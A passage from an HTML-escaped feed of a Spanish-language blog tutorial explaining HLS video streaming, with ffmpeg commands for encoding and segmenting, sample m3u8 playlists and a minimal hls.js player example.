}&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;introduccion-al-streaming&#34;&gt;Introducción al streaming&lt;/h2&gt;&#xA;&lt;p&gt;Los videos y los audios contienen muchísima información codificada, por lo que su manejo y descarga impacta fuertemente el uso y ancho de banda de cualquier servidor.&lt;/p&gt;&#xA;&lt;p&gt;El streaming es un proceso que nos permite el envío continuo de pequeñas cantidades de información, en el caso de audio o video, estas pueden estar almacenadas o ser generadas mediante una cámara web o micrófono en tiempo real.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-tiene-de-malo-el-protocolo-http-para-reproducir-videos-y-audios&#34;&gt;¿Qué tiene de malo el protocolo HTTP para reproducir videos y audios?&lt;/h3&gt;&#xA;&lt;p&gt;Los usuarios normales no miran los materiales audiovisuales completos, sí, incluso tú te brincas la publicidad paga de tus influencers favoritos y a veces solo vez 10 segundos del video de algunos tutoriales de internet. Si usaramos el protocolo HTTP a secas, el usuario normal descargaría un archivo enorme, solo para ver una fracción de este. Y además tendría que esperar a que la descarga se realice completamente antes de empezar a reproducirlo.&lt;/p&gt;&#xA;&lt;p&gt;Como seguramente ya sabrás, enviar el video completo a todos los usuarios sería un sin sentido y consumiría cantidades enormes de ancho de banda y apuesto a que no quieres volver más ricos a tus proveedores de cloud.&lt;/p&gt;&#xA;&lt;p&gt;¿La solución? Streaming; un modelo de uso bajo demanda, donde cada usuario reciba solo lo que va consumiendo del material audio visual, un poco a la vez y si el usuario cierra el video no le enviamos el resto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;protocolos-de-streaming&#34;&gt;Protocolos de streaming&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar debes saber que existen bastantes protocolos de streaming, cada uno con sus particularidades en las que puedes ahondar por tu cuenta:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RTSP&lt;/li&gt;&#xA;&lt;li&gt;RTP&lt;/li&gt;&#xA;&lt;li&gt;RTCP&lt;/li&gt;&#xA;&lt;li&gt;HLS&lt;/li&gt;&#xA;&lt;li&gt;MPEG-DASH&lt;/li&gt;&#xA;&lt;li&gt;HDS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Yo te voy a explicar HLS, ¿por qué? Porque HLS usa el protocolo HTTP, por lo que no requiere servidores especializados, además es compatible con cualquier dispositivo que se conecte a internet. Por último, le sumamos que últimamente es un protocolo bastante popular para el streaming de video.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;el-protocolo-hls&#34;&gt;El protocolo HLS&lt;/h2&gt;&#xA;&lt;p&gt;El protocolo HLS es un protocolo basado en HTTP, desarrollado por Apple (sí, la misma de la manzanita), por lo que cualquier dispositivo que se pueda conectar a internet será compatible con este protocolo. HLS usa TCP por debajo para enviar la información, evitando la potencial pérdida de paquetes de su contraparte, UDP. Y, como cereza del pastel, HLS reaccionar a cambios en la velocidad de internet y priorizar el envío de versiones más ligeras de nuestros achivos (con calidad menor, por supuesto). El reproductor en conjunción con la librería de HLS se encargan de esto de manera automática y tú no tienes que preocuparte de los detalles.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparacion-de-los-archivos-para-hls-en-el-servidor&#34;&gt;Preparación de los archivos para HLS en el servidor&lt;/h2&gt;&#xA;&lt;p&gt;La transmisión de video usando HLS se lleva a cabo en varios pasos. Primero, se codifica el video y se divide en segmentos de duración fija. Luego, estos segmentos se suben a un servidor HTTP y se proporcionan al reproductor multimedia del usuario a través de un índice de reproducción, un arrchivo con extensión M3U8, que es un archivo de texto simple que contiene información sobre los segmentos de video disponibles. Los segmentos pueden subirse a un CDN para obtener un mayor rendimiento, inclusive algunos CDN pueden encargarse de todo el proceso de codificación y segmentación de tu video.&lt;/p&gt;&#xA;&lt;p&gt;Para implementar el protocolo en el lado del servidor necesitamos dos pasos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Codificación&lt;/li&gt;&#xA;&lt;li&gt;Particionado&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;codificacion&#34;&gt;Codificación&lt;/h3&gt;&#xA;&lt;p&gt;HLS requiere que nuestros archivos se encuentren en una codificación específica, por lo que primeramente necesitamos codificar nuestro archivo multimedia a H.264 o H.265 (bastante populares hoy en día), lo anterior para que cualquier dispositivo los pueda leer.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart LR&#xA;    Video--&gt;h.264&#xA;    Video--&gt;h.265&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Si tu archivo original no se encuentra en esa codificación, puedes echar mano de herramientas como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ffmpeg.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;ffmpeg&lt;/a&gt;&#xA; para convertirlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ffmpeg -i &amp;lt;input&amp;gt; -vcodec libx264 -acodec aac &amp;lt;output.mp4&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;particionar-y-crear-un-indice-para-hls&#34;&gt;Particionar y crear un índice para HLS&lt;/h3&gt;&#xA;&lt;p&gt;A continuación, el video o audio que necesitamos colocar en streaming se divide en varias partes, generalmente con unos segundos de duración y, para saber en que orden va cada parte se creará también un índice.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart LR&#xA;    Video--&gt;index.m3u8&#xA;    Video--&gt;index0.ts&#xA;    Video--&gt;index1.ts&#xA;    Video--&gt;index2.ts&#xA;    Video--&gt;indexn.ts&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;El particionado para HLS también puede llevarse a cabo con ffmpeg.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ffmpeg -i &amp;lt;tu-video&amp;gt;.mp4 -profile:v baseline -level 3.0 -start_number &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; -hls_time &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; -hls_list_size &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; -f hls index.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El índice que guarda el orden de cada segmento generado es un archivo con terminación &lt;em&gt;m3u8&lt;/em&gt;, cuyo contenido luce más o menos así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTM3U&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-VERSION:3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-TARGETDURATION:13&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-MEDIA-SEQUENCE:0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:10.333333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index0.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.750000,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index1.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:13.458333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index2.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.083333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index3.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.208333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index4.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:8.333333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... RESTO DE FRAGMENTOS ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:2.416667,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index24.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-ENDLIST&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cada segmento del video está numerado de manera ascendente, cada uno con una extensión &lt;em&gt;ts&lt;/em&gt; de manera que se sepa a donde pertenece.&lt;/p&gt;&#xA;&lt;h2 id=&#34;hls-en-el-cliente&#34;&gt;HLS en el cliente&lt;/h2&gt;&#xA;&lt;p&gt;Eso fue lo más dificil, ahora solo necesitamos pasarle el índice a nuestro cliente y el dispositivo del cliente hará lo siguiente:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Descargará el índice,&lt;/li&gt;&#xA;&lt;li&gt;Leerá el índice&lt;/li&gt;&#xA;&lt;li&gt;Obtendrá el segmento que requiere para el video de acuerdo al índice&lt;/li&gt;&#xA;&lt;li&gt;Lo añadirá a la cola de reproducción&lt;/li&gt;&#xA;&lt;li&gt;Leerá nuevamente el índice para obtener el siguiente segmento y se repetirá el proceso&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Todo lo anterior con Javascript, la librería del HLS player ya está desarrollada y se encarga de todo esto de manera automática.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;sequenceDiagram&#xA;    participant Client&#xA;    participant Server&#xA;    Client-&gt;&gt;Server: GET index.m3u8&#xA;    Server-&gt;&gt;Client: index.m3u8&#xA;    Client-&gt;&gt;Server: GET index0.ts&#xA;    Server-&gt;&gt;Client: index0.ts&#xA;    Client-&gt;&gt;Server: GET index1.ts&#xA;    Server-&gt;&gt;Client: index1.ts&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;ejemplo-de-hls-en-el-cliente&#34;&gt;Ejemplo de HLS en el cliente&lt;/h3&gt;&#xA;&lt;p&gt;Mira este ejemplo super sencillo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://cdn.jsdelivr.net/npm/hls.js@latest&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Cargamos la librería mediante un CDN o tu propio servidor --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;video&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;controls&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;video&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;video&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Cargamos la etiqueta de video --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ahora procedemos a cargar el índice, o de otra manera, el archivo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; video &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;video&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(Hls.isSupported()) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Si soporta HlS &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; hls &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; Hls();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hls.loadSource(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://tuservidor.com/ruta/index.m3u8&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// carga el índice&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    hls.attachMedia(video);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;//Una vez cargado el índice reproduce el video&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    hls.on(Hls.Events.MANIFEST_PARSED,&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      video.play();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (video.canPlayType(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;application/vnd.apple.mpegurl&amp;#39;&lt;/span&gt;)) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    video.src &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://tuservidor.com/ruta/stream&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    video.addEventListener(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;loadedmetadata&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      video.play();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si examinarás el navegador verías que el video se va cargando poco a poco, y conforme se necesita, el navegador solicita el siguiente segmento video y lo añade automáticamente a la reproducción.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/images/hls.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/images/hls.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Descarga del índice HLS y de fragmentos de video en el navegador&#34; width=&#34;1000&#34; height=&#34;535&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Descarga del índice HLS y de fragmentos de video en el navegador&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;preprocesado-de-videos-para-hls-en-el-servidor&#34;&gt;Preprocesado de videos para HLS en el servidor&lt;/h2&gt;&#xA;&lt;p&gt;Si tú mismo te encargarás de procesar los videos quizás quieras implementar un servicio que se encargue de la codificación de los videos a h.264 o h.265 y que, posteriormente los divida en segmentos. Tras lo anterior quizás quieras ligarlos a un sistema de notificaciones que le deje saber a tu aplicación que el procesado del video ha terminado y ya puede reproducirse.&lt;/p&gt;&#xA;&lt;p&gt;También puede que quieras tener variantes del video con diferente calidad, para que sean usadas en caso de una conexión más lenta en el cliente.&lt;/p&gt;&#xA;&lt;p&gt;Por supuesto que todo lo anterior ya depende de tus necesidades de arquitectura.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTM3U&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-VERSION:6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=1210000,RESOLUTION=480x360,CODECS=&amp;#34;avc1.640015,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-360p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=2283600,RESOLUTION=640x480,CODECS=&amp;#34;avc1.64001e,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-480p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=3933600,RESOLUTION=1280x720,CODECS=&amp;#34;avc1.64001f,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-720p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto tienes lo mínimo para crear un ejemplo básico y a partir de ahí ir por tu cuenta.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Casi todos las aplicaciones web modernas realizan algún tipo de streaming, desde las plataformas de video, hasta aquellas de streaming en vivo. En esta entrada te explico como funciona el streaming con HLS de una manera tan simplificada que sacará tu purista interior.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo un ejemplo mínimo de streaming en Go aquí en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/go-hls-streaming-example&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;mi repositorio en github&lt;/a&gt;&#xA;, por si quieres ver el código.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e 